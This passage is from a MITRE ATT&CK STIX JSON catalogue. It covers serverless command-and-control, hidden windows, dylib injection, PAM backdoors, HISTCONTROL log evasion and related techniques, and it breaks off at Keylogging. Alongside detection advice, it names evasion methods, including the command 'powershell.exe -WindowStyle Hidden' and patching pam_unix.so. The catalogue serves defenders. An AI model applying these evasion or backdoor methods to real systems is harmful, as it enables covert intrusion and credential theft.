                    "source_name": "AWS Lambda Redirector",
                    "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
                    "url": "https://blog.xpnsec.com/aws-lambda-redirector/"
                },
                {
                    "source_name": "Detecting Command & Control in the Cloud",
                    "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
                    "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
                },
                {
                    "source_name": "BlackWater Malware Cloudflare Workers",
                    "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
                },
                {
                    "source_name": "GWS Apps Script Abuse 2021",
                    "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"
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            ],
            "modified": "2025-04-15T23:06:30.913Z",
            "name": "Serverless",
            "description": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1143",
                    "external_id": "T1143"
                },
                {
                    "source_name": "PowerShell About 2019",
                    "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:15:05.608Z",
            "name": "Hidden Window",
            "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.  (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0<code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
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            "type": "attack-pattern",
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            "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1161",
                    "external_id": "T1161"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
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            ],
            "modified": "2025-04-25T15:15:05.774Z",
            "name": "LC_LOAD_DYLIB Addition",
            "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).",
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                {
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                    "phase_name": "persistence"
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            "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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            "type": "attack-pattern",
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            "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "created": "2020-03-14T23:36:52.095Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1132/001",
                    "external_id": "T1132.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Wikipedia Binary-to-text Encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
                },
                {
                    "source_name": "Wikipedia Character Encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Character_encoding"
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            "modified": "2025-04-16T20:37:14.817Z",
            "name": "Standard Encoding",
            "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1",
            "created": "2022-09-30T18:50:14.351Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/009",
                    "external_id": "T1027.009"
                },
                {
                    "source_name": "GitHub PSImage",
                    "description": "Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.",
                    "url": "https://github.com/peewpw/Invoke-PSImage"
                },
                {
                    "source_name": "Malware Analysis Report ComRAT",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 \u2013 PowerShell Script: ComRAT. Retrieved September 30, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"
                },
                {
                    "source_name": "Trend Micro",
                    "description": "Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.",
                    "url": "https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"
                },
                {
                    "source_name": "Securelist Dtrack2",
                    "description": "KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.",
                    "url": "https://securelist.com/my-name-is-dtrack/93338/"
                },
                {
                    "source_name": "Microsoft Learn",
                    "description": "Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.",
                    "url": "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"
                },
                {
                    "source_name": "SentinelLabs reversing run-only applescripts 2021",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
                },
                {
                    "source_name": "Sentinel Labs",
                    "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.",
                    "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"
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            "modified": "2025-04-15T19:58:03.051Z",
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            "description": "Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)",
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            "x_mitre_platforms": [
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                "Linux"
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            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Metadata"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--06780952-177c-4247-b978-79c357fb311f",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1150",
                    "external_id": "T1150"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
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                    "phase_name": "defense-evasion"
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                {
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
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            "spec_version": "2.1",
            "id": "attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771",
            "created": "2020-06-26T04:01:09.648Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/003",
                    "external_id": "T1556.003"
                },
                {
                    "source_name": "Apple PAM",
                    "description": "Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.",
                    "url": "https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"
                },
                {
                    "source_name": "Man Pam_Unix",
                    "description": "die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.",
                    "url": "https://linux.die.net/man/8/pam_unix"
                },
                {
                    "source_name": "PAM Creds",
                    "description": "Fern\u00e1ndez, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"
                },
                {
                    "source_name": "Red Hat PAM",
                    "description": "Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.",
                    "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"
                },
                {
                    "source_name": "PAM Backdoor",
                    "description": "zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.",
                    "url": "https://github.com/zephrax/linux-pam-backdoor"
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            "modified": "2025-04-15T22:57:26.573Z",
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            "description": "Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is <code>pam_unix.so</code>, which retrieves, sets, and verifies account authentication information in <code>/etc/passwd</code> and <code>/etc/shadow</code>.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as <code>pam_unix.so</code>, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)",
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                    "phase_name": "credential-access"
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                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_detection": "Monitor PAM configuration and module paths (ex: <code>/etc/pam.d/</code>) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Modification",
                "Logon Session: Logon Session Creation"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1",
            "created": "2020-06-16T18:42:20.734Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/004",
                    "external_id": "T1578.004"
                },
                {
                    "source_name": "Tech Republic - Restore AWS Snapshots",
                    "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019.",
                    "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/"
                },
                {
                    "source_name": "Google - Restore Cloud Snapshot",
                    "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019.",
                    "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots"
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            "modified": "2025-04-25T14:45:42.495Z",
            "name": "Revert Cloud Instance",
            "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Netskope"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Instance: Instance Start",
                "Instance: Instance Metadata",
                "Instance: Instance Stop",
                "Instance: Instance Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1148",
                    "external_id": "T1148"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/13.html",
                    "external_id": "CAPEC-13"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:06.346Z",
            "name": "HISTCONTROL",
            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS"
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            "x_mitre_version": "1.2"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f",
            "created": "2020-10-02T16:39:33.966Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592",
                    "external_id": "T1592"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "TrellixQakbot",
                    "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved August 1, 2024.",
                    "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:37:32.347Z",
            "name": "Gather Victim Host Information",
            "description": "Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary\u2019s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)",
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                {
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                    "phase_name": "reconnaissance"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Sam Seabrook, Duke Energy"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca",
            "created": "2020-10-02T16:58:58.738Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/003",
                    "external_id": "T1596.003"
                },
                {
                    "source_name": "Medium SSL Cert",
                    "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020.",
                    "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2"
                },
                {
                    "source_name": "SSLShopper Lookup",
                    "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.",
                    "url": "https://www.sslshopper.com/ssl-checker.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:18:01.430Z",
            "name": "Digital Certificates",
            "description": "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.\n\nAdversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "created": "2020-02-11T18:58:11.791Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1056/001",
                    "external_id": "T1056.001"
                },
                {
                    "source_name": "Talos Kimsuky Nov 2021",
                    "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Adventures of a Keystroke",
                    "description": "Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth look into keyloggers on Windows. Retrieved April 27, 2016.",
                    "url": "http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf"
                }
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            "modified": "2025-04-15T19:58:03.923Z",
            "name": "Keylogging",
